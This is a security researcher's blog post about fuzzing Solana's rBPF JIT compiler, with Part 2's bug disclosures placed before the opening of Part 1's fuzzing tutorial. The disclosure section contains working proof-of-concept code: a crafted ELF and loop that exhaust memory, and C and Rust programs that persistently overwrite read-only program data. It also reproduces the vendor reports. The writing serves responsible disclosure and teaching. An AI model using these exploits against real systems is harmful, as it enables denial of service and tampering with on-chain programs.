Because the unresolved symbol error is merely overwritten, the value is never passed to the Rust code which invoked the JIT program. As a result, the reference to the heap-allocated String is lost and never dropped. Thus: any pointer to that heap allocation is lost and will never be freed, leading to the leak.

That being said, the leak is only seven bytes per execution of the program. Without causing a larger leak, this isn’t particularly exploitable.

Weaponisation

Let’s take a closer look at report_unresolved_symbol.

report_unresolved_symbol source
pub fn report_unresolved_symbol(&self, insn_offset: usize) -> Result<u64, EbpfError<E>> {
    let file_offset = insn_offset
        .saturating_mul(ebpf::INSN_SIZE)
        .saturating_add(self.text_section_info.offset_range.start as usize);

    let mut name = "Unknown";
    if let Ok(elf) = Elf::parse(self.elf_bytes.as_slice()) {
        for relocation in &elf.dynrels {
            match BpfRelocationType::from_x86_relocation_type(relocation.r_type) {
                Some(BpfRelocationType::R_Bpf_64_32) | Some(BpfRelocationType::R_Bpf_64_64) => {
                    if relocation.r_offset as usize == file_offset {
                        let sym = elf
                            .dynsyms
                            .get(relocation.r_sym)
                            .ok_or(ElfError::UnknownSymbol(relocation.r_sym))?;
                        name = elf
                            .dynstrtab
                            .get_at(sym.st_name)
                            .ok_or(ElfError::UnknownSymbol(sym.st_name))?;
                    }
                }
                _ => (),
            }
        }
    }
    Err(ElfError::UnresolvedSymbol(
        name.to_string(),
        file_offset
            .checked_div(ebpf::INSN_SIZE)
            .and_then(|offset| offset.checked_add(ebpf::ELF_INSN_DUMP_OFFSET))
            .unwrap_or(ebpf::ELF_INSN_DUMP_OFFSET),
        file_offset,
    )
    .into())
}

Note how the name is the string which becomes heap allocated. The value of the name is determined by a relocation lookup in the ELF, which we can actually control if we compile our own malicious ELF. Even though the fuzzer only tests the JIT operations, one of the intended ways to load a BPF program is as an ELF, so it seems like something that would certainly be in scope.

Crafting the malicious ELF

To create an unresolved relocation in BPF, it’s actually quite simple. We just need to create a function with a very, very long name that isn’t actually defined, only declared. To do so, I created two files to craft the malicious ELF:

evil.h

evil.h is far too large to post here, as it has a function name that is approximately a mebibyte long. Instead, it was generated with the following bash command.

$ echo "#define EVIL do_evil_$(printf 'a%.0s' {1..1048576})

void EVIL();
" > evil.h
evil.c
#include "evil.h"

void entrypoint() {
  asm("	goto +0\n"
      "	r0 = 0\n");
  EVIL();
}

Note that goto +0 is used here because we’ll use a specialised instruction meter that only can do two instructions.

Finally, we’ll also make a Rust program to load and execute this ELF just to make sure the maintainers are able to replicate the issue.

elf-memleak.rs

You won’t be able to use this particular example anymore as rBPF has changed a lot of its API since the time this was created. However, you can check out version v0.22.21, which this exploit was crafted for.

Note in particular the use of an instruction meter with two remaining.

use std::collections::BTreeMap;
use std::fs::File;
use std::io::Read;

use solana_rbpf::{elf::{Executable, register_bpf_function}, insn_builder::IntoBytes, vm::{Config, EbpfVm, TestInstructionMeter, SyscallRegistry}, user_error::UserError};
use solana_rbpf::insn_builder::{Arch, BpfCode, Cond, Instruction, MemSize, Source};

use solana_rbpf::static_analysis::Analysis;
use solana_rbpf::verifier::check;

fn main() {
    let mut file = File::open("tests/elfs/evil.so").unwrap();
    let mut elf = Vec::new();
    file.read_to_end(&mut elf).unwrap();
    let config = Config {
        enable_instruction_tracing: true,
        ..Config::default()
    };
    let mut syscall_registry = SyscallRegistry::default();
    let mut executable = Executable::<UserError, TestInstructionMeter>::from_elf(&elf, Some(check), config, syscall_registry).unwrap();
    if Executable::jit_compile(&mut executable).is_ok() {
        for _ in 0.. {
            let mut jit_mem = [0; 65536];
            let mut jit_vm = EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], &mut jit_mem).unwrap();
            let mut jit_meter = TestInstructionMeter { remaining: 2 };
            jit_vm.execute_program_jit(&mut jit_meter).ok();
        }
    }
}

With our malicious ELF that has a function name that’s a mebibyte long, the report_unresolved_symbol will set that name variable to the long function name. As a result, the allocated string will leak a whole mebibyte of memory per execution rather than the measly seven bytes. When performed in this loop, the entire system’s memory will be exhausted in mere moments.

Reporting

Okay, so now that we’ve crafted the exploit, we should probably report it to the vendor.

A quick Google later and we find the Solana security policy. Scrolling through, it says:

DO NOT CREATE AN ISSUE to report a security problem. Instead, please send an email to [email protected] and provide your github username so we can add you to a new draft security advisory for further discussion.

Okay, reasonable enough. Looks like they have bug bounties too!

DoS Attacks: $100,000 USD in locked SOL tokens (locked for 12 months)

Woah. I was working on rBPF out of curiosity, but it seems that there’s quite a bounty made available here.

I sent in my bug report via email on January 31st, and, within just three hours, Solana acknowledged the bug. Below is the report as submitted to Solana:

Report for bug 1 as submitted to Solana

There is a resource exhaustion vulnerability in solana_rbpf (specifically in src/jit.rs) which affects JIT-compiled eBPF programs (both ELF and insn_builder programs). An adversary with the ability to load and execute eBPF programs may be able to exhaust memory resources for the program executing solana_rbpf JIT-compiled programs.

The vulnerability is introduced by the JIT compiler’s emission of an unresolved symbol error when attempting to call an unknown hash after exceeding the instruction meter limit. The rust call emitted to Executable::report_unresolved_symbol allocates a string (“Unknown”, or the relocation symbol associated with the call) using .to_string(), which performs a heap allocation. However, because the rust call completes with an instruction meter subtraction and check, the check causes the early termination of the program with Err(ExceededMaxInstructions(_, _)). As a result, the reference to the error which contains the string is lost and thus the string is never dropped, leading to a heap memory leak.

The following eBPF program demonstrates the vulnerability:

entrypoint:
    goto +0
    r0 = 0
    call -1

where the tail call’s immediate argument represents an unknown hash (this can be compiled directly, but not disassembled) and with a instruction meter set to 2 instructions remaining.

The optimisation used in jit.rs to only update the instruction meter is triggered after the ja instruction, and subsequently the mov64 instruction does not update the instruction meter despite the fact that it should prevent further execution here. The call instruction then performs a lookup for the non-existent symbol, leading to the execution of Executable::report_unresolved_symbol which performs the allocation. The call completes and updates the instruction meter again, now emitting the ExceededMaxInstructions error instead and losing the reference to the heap-allocated string.

While the leak in this example is only 7 bytes per error emitted (as the symbol string loaded is “Unknown”), one could craft an ELF with an arbitrarily sized relocation entry pointing to the call’s offset, causing a much faster exhaustion of memory resources. Such an example is attached with source code. I was able to exhaust all memory on my machine within a few seconds by simply repeatedly jit-executing this binary. A larger relocation entry could be crafted, but I think the example provided makes the vulnerability quite clear.

Attached is a Rust file (elf-memleak.rs) which may be placed within the examples/ directory of solana_rbpf in order to test the evil.{c,h,so} provided. It is highly recommend to run this for a short period of time and cancelling it quickly, as it quickly exhausts memory resources for the operating system.

Additionally, one could theoretically trigger this behaviour in programs not loaded by the attacker by sending crafted payloads which cause this meter misbehaviour. However, this is unlikely because one would also need to submit such a payload to a target which has an unresolved symbol.

For these reasons, I propose that this bug be classified under DoS Attacks (Non-RPC).

Solana classified this bug as a Denial-of-Service (Non-RPC) and awarded $100k.

Bug 2: Persistent .rodata corruption

The second bug I reported was easy to find, but difficult to diagnose. While the bug occurred with high frequency, it was unclear as to what exactly what caused the bug. Past that, was it even exploitable or useful?

Initial Investigation

The input that triggered the crash disassembles to the following assembly:

entrypoint:
    or32 r9, -1
    mov32 r1, -1
    stxh [r9+0x1], r0
    exit

The crash type triggered was a difference in JIT vs interpreter exit state; JIT terminated with Ok(0), whereas interpreter terminated with:

Err(AccessViolation(31, Store, 4294967296, 2, "program"))

Spicy stuff. Looks like our JIT implementation has some form of out-of-bounds write. Let’s investigate a bit further.

The first thing of note is the access violation’s address: 4294967296. In other words, 0x100000000. Looking at the Solana documentation, we see that this address corresponds to program code. Are we writing to JIT’d code??

The answer, dear reader, is unfortunately no. As exciting as the prospect of arbitrary code execution might be, this actually refers to the BPF program code – more specifically, it refers to the read-only data present in the ELF provided. Regardless, it is writing to a immutable reference to a Vec somewhere that represents the program code, which is supposed to be read-only.

So why isn’t it?

The curse of x86

Let’s make our payload more clear and execute directly, then pop it into gdb to see exactly what code the JIT compiler is generating. I used the following program to test for OOB write:

oob-write.rs

This code likely no longer works due to changes in the API of rBPF changing in recent releases. Try it in examples/ in v0.2.22, where the vulnerability is still present.

use std::collections::BTreeMap;
use solana_rbpf::{
    elf::Executable,
    insn_builder::{
        Arch,
        BpfCode,
        Instruction,
        IntoBytes,
        MemSize,
        Source,
    },
    user_error::UserError,
    verifier::check,
    vm::{Config, EbpfVm, SyscallRegistry, TestInstructionMeter},
};
use solana_rbpf::elf::register_bpf_function;
use solana_rbpf::error::UserDefinedError;
use solana_rbpf::static_analysis::Analysis;
use solana_rbpf::vm::InstructionMeter;

fn dump_insns<E: UserDefinedError, I: InstructionMeter>(executable: &Executable<E, I>) {
    let analysis = Analysis::from_executable(executable);
    // eprint!("Using the following disassembly");
    analysis.disassemble(&mut std::io::stdout()).unwrap();
}

fn main() {
    let config = Config::default();
    let mut code = BpfCode::default();
    let mut jit_mem = Vec::new();
    let mut bpf_functions = BTreeMap::new();
    register_bpf_function(&mut bpf_functions, 0, "entrypoint", false).unwrap();
    code
        .load(MemSize::DoubleWord).set_dst(9).push()
        .load(MemSize::Word).set_imm(1).push()
        .store_x(MemSize::HalfWord).set_dst(9).set_off(0).set_src(0).push()
        .exit().push();
    let mut prog = code.into_bytes();
    assert!(check(prog, &config).is_ok());
    let mut executable = Executable::<UserError, TestInstructionMeter>::from_text_bytes(prog, None, config, SyscallRegistry::default(), bpf_functions).unwrap();
    assert!(Executable::jit_compile(&mut executable).is_ok());
    dump_insns(&executable);
    let mut jit_vm = EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], &mut jit_mem).unwrap();
    let mut jit_meter = TestInstructionMeter { remaining: 1 << 16 };
    let jit_res = jit_vm.execute_program_jit(&mut jit_meter);
    if let Ok(_) = jit_res {
        eprintln!("{} => {:?} ({:?})", 0, jit_res, &jit_mem);
    }
}

This just sets up and executes the following BPF assembly:

entrypoint:
    lddw r9, 0x100000000
    stxh [r9+0x0], r0
    exit

This assembly simply writes a 0 to 0x100000000.

For the next part: please, for the love of god, use GEF.

$ cargo +stable build --example oob-write
$ gdb ./target/debug/examples/oob-write
gef➤  break src/vm.rs:1061 # after the JIT'd code is prepared
gef➤  run
gef➤  print self.executable.ro_section.buf.ptr.pointer 
gef➤  awatch *$1 # break if we modify the readonly section
gef➤  record full # set up for reverse execution
gef➤  continue

After that last continue, we effectively execute until we hit the write access to our read-only section. Additionally, we can step backwards in the program until we find our faulty behaviour.

The watched memory is written to as a result of this X86 store instruction (as a reminder, we this is the branch for stxh). Seeing this emit_address_translation call above it, we can determine that that function likely handles the address translation and readonly checks.

Further inspection shows that emit_address_translation actually emits a call to… something:

emit_call(jit, TARGET_PC_TRANSLATE_MEMORY_ADDRESS + len.trailing_zeros() as usize + 4 * (access_type as usize))?;

Okay, so this is some kind of global offset for this JIT program to translate the memory address. By searching for TARGET_PC_TRANSLATE_MEMORY_ADDRESS elsewhere in the program, we find a loop which initialises different kinds of memory translations.

Scrolling through this, we find our access check:

X86Instruction::cmp_immediate(OperandSize::S8, RAX, 0, Some(X86IndirectAccess::Offset(25))).emit(self)?; // region.is_writable == 0

Okay – so the x86 cmp instruction to find is one that uses a destination of [rax+0x19]. A couple rsi later to find such an instruction and we find:

cmp    DWORD PTR [rax+0x19], 0x0

Which is, notably, not using an 8-bit operand as the cmp_immediate call suggests. So what’s going on here?

x86 cmp operand size woes

Here is the definition of X86Instruction::cmp_immediate:

pub fn cmp_immediate(
    size: OperandSize,
    destination: u8,
    immediate: i64,
    indirect: Option<X86IndirectAccess>,
) -> Self {
    Self {
        size,
        opcode: 0x81,
        first_operand: RDI,
        second_operand: destination,
        immediate_size: OperandSize::S32,
        immediate,
        indirect,
        ..Self::default()
    }
}

This creates an x86 instruction with the opcode 0x81. Inspecting closer and cross-referencing with an x86-64 opcode reference, you can find that opcode 0x81 is only defined for 16-, 32-, and 64-bit register operands. If you want to use an 8-bit register operand, you’ll need to use the 0x80 opcode variant.

This is precisely the patch applied.

A quick side note about testing code with different compilers

This bug actually was a bit weirder than it seems at first. Due to differences in Rust struct padding between versions, at the time that I reported the bug, the difference was spurious in stable release. As a result, it’s quite likely that no one would have noticed the bug until the next Rust release version.

From my report:

It is likely that this bug was not discovered earlier due to inconsistent behaviour between various versions of Rust. During testing, it was found that stable release did not consistently have non-zero field padding where stable debug, nightly debug, and nightly release did.

Proof of concept

Alright, now to create a PoC so that the people inspecting the bug can validate it. Like last time, we’ll create an ELF, along with a few different demonstrations of the effects of the bug. Specifically, we want to demonstrate that read-only values in the BPF target can be modified persistently, as our writes affect the executable and thus all future executions of the JIT program.

value_in_ro.c

This program should fail, as the data to be overwritten should be read-only. It will be executed by howdy.rs.

typedef unsigned char uint8_t;
typedef unsigned long int uint64_t;

extern void log(const char*, uint64_t);

static const char data[] = "howdy";

extern uint64_t entrypoint(const uint8_t *input) {
  log(data, 5);
  char *overwritten = (char *)data;
  overwritten[0] = 'e';
  overwritten[1] = 'v';
  overwritten[2] = 'i';
  overwritten[3] = 'l';
  overwritten[4] = '!';
  log(data, 5);

  return 0;
}
howdy.rs

This program loads the compiled version of value_in_ro.c and attaches a log syscall so that we can see the behaviour internally. I confirmed that this syscall did not affect the runtime behaviour.

use std::collections::BTreeMap;
use std::fs::File;
use std::io::Read;
use solana_rbpf::{
    elf::Executable,
    insn_builder::{
        BpfCode,
        Instruction,
        IntoBytes,
        MemSize,
    },
    user_error::UserError,
    verifier::check,
    vm::{Config, EbpfVm, SyscallRegistry, TestInstructionMeter},
};
use solana_rbpf::elf::register_bpf_function;
use solana_rbpf::error::UserDefinedError;
use solana_rbpf::static_analysis::Analysis;
use solana_rbpf::vm::{InstructionMeter, SyscallObject};

fn main() {
    let config = Config {
        enable_instruction_tracing: true,
        ..Config::default()
    };
    let mut jit_mem = vec![0; 32];
    let mut elf = Vec::new();
    File::open("tests/elfs/value_in_ro.so").unwrap().read_to_end(&mut elf);
    let mut syscalls = SyscallRegistry::default();
    syscalls.register_syscall_by_name(b"log", solana_rbpf::syscalls::BpfSyscallString::call);
    let mut executable = Executable::<UserError, TestInstructionMeter>::from_elf(&elf, Some(check), config, syscalls).unwrap();
    assert!(Executable::jit_compile(&mut executable).is_ok());
    for _ in 0..4 {
        let jit_res = {
            let mut jit_vm = EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], &mut jit_mem).unwrap();
            let mut jit_meter = TestInstructionMeter { remaining: 1 << 18 };
            let res = jit_vm.execute_program_jit(&mut jit_meter);
            res
        };
        eprintln!("{} => {:?}", 1, jit_res);
    }
}

This program, when executed, has the following output:

howdy
evil!
evil!
evil!
evil!
evil!
evil!
evil!

These first two files demonstrate the ability to overwrite the readonly data present in binaries persistently. Notice that we actually execute the JIT’d code multiple times, yet our changes to the value in data are persistent.

Implications

Suppose that there was a faulty offset or a user-controlled offset present in a BPF-based on-chain program. A malicious user could modify the readonly data of the program to replace certain contexts. In the best case scenario, this might lead to DoS of the program. In the worst case, this could lead to the replacement of fund amounts, of wallet addresses, etc.

Reporting

Having assembled my proof-of-concepts, my implications, and so on, I sent in the following report to Solana on February 4th:

Report for bug 2 as submitted to Solana

An incorrectly sized memory operand emitted by src/jit.rs:1490 may lead to .rodata section corruption due to an incorrect is_writable check. The cmp emitted is cmp DWORD PTR [rax+0x19], 0x0. As a result, when the uninitialised data present in the field padding of MemoryRegion is non-zero, the comparison will fail and assume that the section is writable. The data which is overwritten is persistent during the lifetime of the Executable instance as the data overwritten is in Executable.ro_section and thus affects future executions of the program without recompilation.

It is likely that this bug was not discovered earlier due to inconsistent behaviour between various versions of Rust. During testing, it was found that stable release did not consistently have non-zero field padding where stable debug, nightly debug, and nightly release did.

The first attack scenario where this vulnerability may be leveraged is in corruption of believed read-only data; see value_in_ro.{c,so} (intended to be placed within tests/elfs/) as an example of this behaviour. The example provided is contrived, but in scenarios where BPF programs do not correctly sanitise offsets in input, it may be possible for remote attackers to craft payloads which corrupt data within the .rodata section and thus replace secrets, operational data, etc. In the worst case, this may include replacement of critical data such as fixed wallet addresses for the lifetime of the Executable instance, which may be many executions. To test this behaviour, refer to howdy.rs (intended to be placed within examples/). If you find that corruption behaviour does not appear, try using a different optimisation level or compiler.

The second attack scenario is in corruption of BPF source code, which poisons future analysis and compilation. In the worst case (which is probably not a valid scenario), if the Executable is erroneously JIT compiled a second time after being executed in JIT once, the JIT compilation may emit unchecked BPF instructions as the verifier used in from_elf/from_text_bytes is not used per-compilation. Analysis and tracing is similarly corrupted, which may be leveraged to obscure or misrepresent the instructions which were previously executed. An example of the latter is provided in analysis-corruption.rs (intended to be placed within examples/). If you find that corruption behaviour does not appear, try using a different optimisation level or compiler.

While this vulnerability is largely uncategorised by the security policy provided, due to the possibility of the corruption of believed read-only data, I propose that this vulnerability be categorised under Other Attacks or Safety Violations.

value_in_ro.c (.so available upon request)
typedef unsigned char uint8_t;
typedef unsigned long int uint64_t;

extern void log(const char*, uint64_t);

static const char data[] = "howdy";

extern uint64_t entrypoint(const uint8_t *input) {
  log(data, 5);
  char *overwritten = (char *)data;
  overwritten[0] = 'e';
  overwritten[1] = 'v';
  overwritten[2] = 'i';
  overwritten[3] = 'l';
  overwritten[4] = '!';
  log(data, 5);

  return 0;
}
analysis-corruption.rs
use std::collections::BTreeMap;

use solana_rbpf::elf::Executable;
use solana_rbpf::elf::register_bpf_function;
use solana_rbpf::insn_builder::BpfCode;
use solana_rbpf::insn_builder::Instruction;
use solana_rbpf::insn_builder::IntoBytes;
use solana_rbpf::insn_builder::MemSize;
use solana_rbpf::static_analysis::Analysis;
use solana_rbpf::user_error::UserError;
use solana_rbpf::verifier::check;
use solana_rbpf::vm::Config;
use solana_rbpf::vm::EbpfVm;
use solana_rbpf::vm::SyscallRegistry;
use solana_rbpf::vm::TestInstructionMeter;

fn main() {
    let config = Config {
        enable_instruction_tracing: true,
        ..Config::default()
    };
    let mut jit_mem = vec![0; 32];
    let mut bpf_functions = BTreeMap::new();
    register_bpf_function(&mut bpf_functions, 0, "entrypoint", true).unwrap();
    let mut code = BpfCode::default();
    code
        .load(MemSize::DoubleWord).set_dst(0).set_imm(0).push()
        .load(MemSize::Word).set_imm(1).push()
        .store(MemSize::DoubleWord).set_dst(0).set_off(0).set_imm(0).push()
        .exit().push();
    let prog = code.into_bytes();
    assert!(check(prog, &config).is_ok());
    let mut executable = Executable::<UserError, TestInstructionMeter>::from_text_bytes(prog, None, config, SyscallRegistry::default(), bpf_functions).unwrap();
    assert!(Executable::jit_compile(&mut executable).is_ok());
    let jit_res = {
        let mut jit_vm = EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], &mut jit_mem).unwrap();
        let mut jit_meter = TestInstructionMeter { remaining: 1 << 18 };
        let res = jit_vm.execute_program_jit(&mut jit_meter);
        let jit_tracer = jit_vm.get_tracer();
        let analysis = Analysis::from_executable(&executable);
        let stderr = std::io::stderr();
        jit_tracer.write(&mut stderr.lock(), &analysis).unwrap();
        res
    };
    eprintln!("{} => {:?}", 1, jit_res);
}
howdy.rs
use std::fs::File;
use std::io::Read;

use solana_rbpf::elf::Executable;
use solana_rbpf::user_error::UserError;
use solana_rbpf::verifier::check;
use solana_rbpf::vm::Config;
use solana_rbpf::vm::EbpfVm;
use solana_rbpf::vm::SyscallObject;
use solana_rbpf::vm::SyscallRegistry;
use solana_rbpf::vm::TestInstructionMeter;

fn main() {
    let config = Config {
        enable_instruction_tracing: true,
        ..Config::default()
    };
    let mut jit_mem = vec![0; 32];
    let mut elf = Vec::new();
    File::open("tests/elfs/value_in_ro.so").unwrap().read_to_end(&mut elf).unwrap();
    let mut syscalls = SyscallRegistry::default();
    syscalls.register_syscall_by_name(b"log", solana_rbpf::syscalls::BpfSyscallString::call).unwrap();
    let mut executable = Executable::<UserError, TestInstructionMeter>::from_elf(&elf, Some(check), config, syscalls).unwrap();
    assert!(Executable::jit_compile(&mut executable).is_ok());
    for _ in 0..4 {
        let jit_res = {
            let mut jit_vm = EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], &mut jit_mem).unwrap();
            let mut jit_meter = TestInstructionMeter { remaining: 1 << 18 };
            let res = jit_vm.execute_program_jit(&mut jit_meter);
            res
        };
        eprintln!("{} => {:?}", 1, jit_res);
    }
}

The bug was patched in a mere 4 hours.

Solana classified this bug as a Denial-of-Service (Non-RPC) and awarded $100k. I disagreed strongly with this classification, but Solana said that due to the low likelihood of the exploitation of this bug (requiring a vulnerability in the on-chain program) they would offer $100k instead of the originally suggested $1m or $400k. They would not move on this point.

However, I would offer that (was that the actually basis for bug classification) that they should update their Security Policy to reflect that meaning. It was obviously very disappointing to hear that they would not be offering the bounty I expected given the classification categories provided.

Okay, so what’d you do with the money??

It would be bad form of me to not explain the incredible flexibility shown by Solana in terms of how they handled my payout. I intended to donate the funds to the Texas A&M Cybersecurity Club, at which I gained a lot of the skills necessary to perform this research and these exploits, and Solana was very willing to sidestep their listed policy and donate the funds directly in USD rather than making me handle the tokens on my own, which would have dramatically affected how much I could have donated due to tax. So, despite my concerns regarding their policy, I was very pleased with their willingness to accommodate my wishes with the bounty payout.

Earn $200K by fuzzing for a weekend: Part 1

By: addison
11 May 2022 at 07:00

By applying well-known fuzzing techniques to a popular target, I found several bugs that in total yielded over $200K in bounties. In this article I will demonstrate how powerful fuzzing can be when applied to software which has not yet faced sufficient testing.

If you’re here just for the bug disclosures, see Part 2, though I encourage you all, even those who have not yet tried their hand at fuzzing, to read through this.

Exposition

A few friends and I ran a little Discord server (now a Matrix space) which in which we discussed security and vulnerability research techniques. One of the things we have running in the server is a bot which posts every single CVE as they come out. And, yeah, I read a lot of them.

One day, the bot posted something that caught my eye:

This marks the beginning of our timeline: January 28th. I had noticed this CVE in particular for two reasons:

  • it was BPF, which I find to be an absurdly cool concept as it’s used in the Linux kernel (a JIT compiler in the kernel!!! what!!!)
  • it was a JIT compiler written in Rust

This CVE showed up almost immediately after I had developed some relatively intensive fuzzing for some of my own Rust software (specifically, a crate for verifying sokoban solutions where I had observed similar issues and thought “that looks familiar”).

Knowing what I had learned from my experience fuzzing my own software and that bugs in Rust programs could be quite easily found with the combo of cargo fuzz and arbitrary, I thought: “hey, why not?”.

The Target, and figuring out how to test it

Solana, as several of you likely know, “is a decentralized blockchain built to enable scalable, user-friendly apps for the world”. They primarily are known for their cryptocurrency, SOL, but also are a blockchain which operates really any form of smart contract.

rBPF in particular is a self-described “Rust virtual machine and JIT compiler for eBPF programs”. Notably, it implements both an interpreter and a JIT compiler for BPF programs. In other words: two different implementations of the same program, which theoretically exhibited the same behaviour when executed.

I was lucky enough to both take a software testing course in university and to have been part of a research group doing fuzzing (admittedly, we were fuzzing hardware, not software, but the concepts translate). A concept that I had hung onto in particular is the idea of test oracles – a way to distinguish what is “correct” behaviour and what is not in a design under test.

In particular, something that stood out to me about the presence of both an interpreter and a JIT compiler in rBPF is that we, in effect, had a perfect pseudo-oracle; as Wikipedia puts it:

a separately written program which can take the same input as the program or system under test so that their outputs may be compared to understand if there might be a problem to investigate.

Those of you who have more experience in fuzzing will recognise this concept as differential fuzzing, but I think we can often overlook that differential fuzzing is just another face of a pseudo-oracle.

In this particular case, we can execute the interpreter, one implementation of rBPF, and then execute the JIT compiled version, another implementation, with the same inputs (i.e., memory state, entrypoint, code, etc.) and see if their outputs are different. If they are, one of them must necessarily be incorrect per the description of the rBPF crate: two implementations of exactly the same behaviour.

Writing a fuzzer

To start off, let’s try to throw a bunch of inputs at it without really tuning to anything in particular. This allows us to sanity check that our basic fuzzing implementation actually works as we expect.

The dumb fuzzer

First, we need to figure out how to execute the interpreter. Thankfully, there are several examples of this readily available in a variety of tests. I referenced the test_interpreter_and_jit macro present in ubpf_execution.rs as the basis for how my so-called “dumb” fuzzer executes.

I’ve provided a sequence of components you can look at one chunk at a time before moving onto the whole fuzzer. Just click on the dropdowns to view the code relevant to that step. You don’t necessarily need to to understand the point of this post.

Step 1: Defining our inputs

We must define our inputs such that it’s actually useful for our fuzzer. Thankfully, arbitrary makes it near trivial to derive an input from raw bytes.

#[derive(arbitrary::Arbitrary, Debug)]
struct DumbFuzzData {
    template: ConfigTemplate,
    prog: Vec<u8>,
    mem: Vec<u8>,
}

If you want to see the definition of ConfigTemplate, you can check it out in common.rs, but all you need to know is that its purpose is to test the interpreter under a variety of different execution configurations. It’s not particularly important to understand the fundamental bits of the fuzzer.

Step 2: Setting up the VM

Setting up the fuzz target and the VM comes next. This will allow us to not only execute our test, but later to actually check if the behaviour is correct.

fuzz_target!(|data: DumbFuzzData| {
    let prog = data.prog;
    let config = data.template.into();
    if check(&prog, &config).is_err() {
        // verify please
        return;
    }
    let mut mem = data.mem;
    let registry = SyscallRegistry::default();
    let mut bpf_functions = BTreeMap::new();
    register_bpf_function(&config, &mut bpf_functions, &registry, 0, "entrypoint").unwrap();
    let executable = Executable::<UserError, TestInstructionMeter>::from_text_bytes(
        &prog,
        None,
        config,
        SyscallRegistry::default(),
        bpf_functions,
    )
    .unwrap();
    let mem_region = MemoryRegion::new_writable(&mut mem, ebpf::MM_INPUT_START);
    let mut vm =
        EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], vec![mem_region]).unwrap();

    // TODO in step 3
});

You can find the details for how fuzz_target works from the Rust Fuzz Book which goes over how it works in higher detail than would be appropriate here.

Step 3: Executing our input and comparing output

In this step, we just execute the VM with our provided input. In future iterations, we’ll compare the output of interpreter vs JIT, but in this version, we’re just executing the interpreter to see if we can induce crashes.

fuzz_target!(|data: DumbFuzzData| {
    // see step 2 for this bit

    drop(black_box(vm.execute_program_interpreted(
        &mut TestInstructionMeter { remaining: 1024 },
    )));
});

I use black_box here but I’m not entirely convinced that it’s necessary. I added it to ensure that the result of the interpreted program’s execution isn’t simply discarded and thus the execution marked unnecessary, but I’m fairly certain it wouldn’t be regardless.

Note that we are not checking for if the execution failed here. If the BPF program fails: we don’t care! We only care if the VM crashes for any reason.

Step 4: Put it together

Below is the final code for the fuzzer, including all of the bits I didn’t show above for concision.

#![feature(bench_black_box)]
#![no_main]

use std::collections::BTreeMap;
use std::hint::black_box;

use libfuzzer_sys::fuzz_target;

use solana_rbpf::{
    ebpf,
    elf::{register_bpf_function, Executable},
    memory_region::MemoryRegion,
    user_error::UserError,
    verifier::check,
    vm::{EbpfVm, SyscallRegistry, TestInstructionMeter},
};

use crate::common::ConfigTemplate;

mod common;

#[derive(arbitrary::Arbitrary, Debug)]
struct DumbFuzzData {
    template: ConfigTemplate,
    prog: Vec<u8>,
    mem: Vec<u8>,
}

fuzz_target!(|data: DumbFuzzData| {
    let prog = data.prog;
    let config = data.template.into();
    if check(&prog, &config).is_err() {
        // verify please
        return;
    }
    let mut mem = data.mem;
    let registry = SyscallRegistry::default();
    let mut bpf_functions = BTreeMap::new();
    register_bpf_function(&config, &mut bpf_functions, &registry, 0, "entrypoint").unwrap();
    let executable = Executable::<UserError, TestInstructionMeter>::from_text_bytes(
        &prog,
        None,
        config,
        SyscallRegistry::default(),
        bpf_functions,
    )
    .unwrap();
    let mem_region = MemoryRegion::new_writable(&mut mem, ebpf::MM_INPUT_START);
    let mut vm =
        EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], vec![mem_region]).unwrap();

    drop(black_box(vm.execute_program_interpreted(
        &mut TestInstructionMeter { remaining: 1024 },
    )));
});

Theoretically, an up-to-date version is available in the rBPF repo.

Evaluation

$ cargo +nightly fuzz run dumb -- -max_total_time=300
... snip ...
#2902510	REDUCE cov: 1092 ft: 2147 corp: 724/58Kb lim: 4096 exec/s: 9675 rss: 355Mb L: 134/3126 MS: 3 ChangeBit-InsertByte-PersAutoDict- DE: "\x07\xff\xff3"-
#2902537	REDUCE cov: 1092 ft: 2147 corp: 724/58Kb lim: 4096 exec/s: 9675 rss: 355Mb L: 60/3126 MS: 2 ChangeBinInt-EraseBytes-
#2905608	REDUCE cov: 1092 ft: 2147 corp: 724/58Kb lim: 4096 exec/s: 9685 rss: 355Mb L: 101/3126 MS: 1 EraseBytes-
#2905770	NEW    cov: 1092 ft: 2155 corp: 725/58Kb lim: 4096 exec/s: 9685 rss: 355Mb L: 61/3126 MS: 2 ShuffleBytes-CrossOver-
#2906805	DONE   cov: 1092 ft: 2155 corp: 725/58Kb lim: 4096 exec/s: 9657 rss: 355Mb
Done 2906805 runs in 301 second(s)

After executing the fuzzer, we can evaluate its effectiveness at finding interesting inputs by checking its coverage after executing for a given time (note the use of the -max_total_time flag). In this case, I want to determine just how well it covers the function which handles interpreter execution. To do so, I issue the following commands:

$ cargo +nightly fuzz coverage dumb
$ rust-cov show -Xdemangler=rustfilt fuzz/target/x86_64-unknown-linux-gnu/release/dumb -instr-profile=fuzz/coverage/dumb/coverage.profdata -show-line-counts-or-regions -name=execute_program_interpreted_inner
Command output of rust-cov

If you’re not familiar with llvm coverage output, the first column is the line number, the second column is the number of times that that particular line was hit, and the third column is the code itself.

<solana_rbpf::vm::EbpfVm<solana_rbpf::user_error::UserError, solana_rbpf::vm::TestInstructionMeter>>::execute_program_interpreted_inner:
  709|    763|    fn execute_program_interpreted_inner(
  710|    763|        &mut self,
  711|    763|        instruction_meter: &mut I,
  712|    763|        initial_insn_count: u64,
  713|    763|        last_insn_count: &mut u64,
  714|    763|    ) -> ProgramResult<E> {
  715|    763|        // R1 points to beginning of input memory, R10 to the stack of the first frame
  716|    763|        let mut reg: [u64; 11] = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, self.stack.get_frame_ptr()];
  717|    763|        reg[1] = ebpf::MM_INPUT_START;
  718|    763|
  719|    763|        // Loop on instructions
  720|    763|        let config = self.executable.get_config();
  721|    763|        let mut next_pc: usize = self.executable.get_entrypoint_instruction_offset()?;
                                                                                                  ^0
  722|    763|        let mut remaining_insn_count = initial_insn_count;
  723|   136k|        while (next_pc + 1) * ebpf::INSN_SIZE <= self.program.len() {
  724|   135k|            *last_insn_count += 1;
  725|   135k|            let pc = next_pc;
  726|   135k|            next_pc += 1;
  727|   135k|            let mut instruction_width = 1;
